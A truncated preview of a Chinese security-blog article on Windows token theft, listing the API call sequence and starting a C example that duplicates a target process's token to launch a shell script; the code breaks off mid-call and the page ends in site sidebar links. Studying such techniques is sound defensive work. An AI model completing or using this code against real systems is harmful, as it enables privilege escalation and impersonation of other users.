收藏
收藏
在上文中我们了解了对应的过程,本文我们将讲解该种攻击的具体实现细节.。
进行这种攻击我们需要几个windows api他们的名称以及作用如下:
过程是:
openprocess() --> openprocesstoken() --> impersonateloggedonuser()--> duplicatetokenex() --> createprocesswithtokenw()
然后我们可以轻易的写出一个窃取令牌并启动程序的例子,我这里以irde的代码为例:
#include "stdafx.h"
#include
#include
int main(int argc, char * argv[]) {
char a;
HANDLE processHandle;
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
DWORD PID_TO_IMPERSONATE = 3060;
wchar_t cmdline[] = L"C:\\shell.cmd";
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
processHandle = OpenProcess(PROCESS_ALL_ACCESS, true, PID_TO_IMPERSONATE);
OpenProcessToken(processHandle, TOKEN_ALL_ACCESS, &tokenHandle);
DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
CreateProcessWithTokenW(dupli
阅读全文
收藏
水蜜桃
文章6篇
-
粉丝8
故事不曾停息
文章19篇
-
粉丝6
一拳超人
文章3篇
-
粉丝9
m0ke
文章12篇
-
粉丝4
收藏
收藏
收藏
收藏
收藏
更多
加载中,请稍候
提问
写文章
数智科技
聊聊大数据
Android应用安全
哈拉少安全小队
专栏
小密圈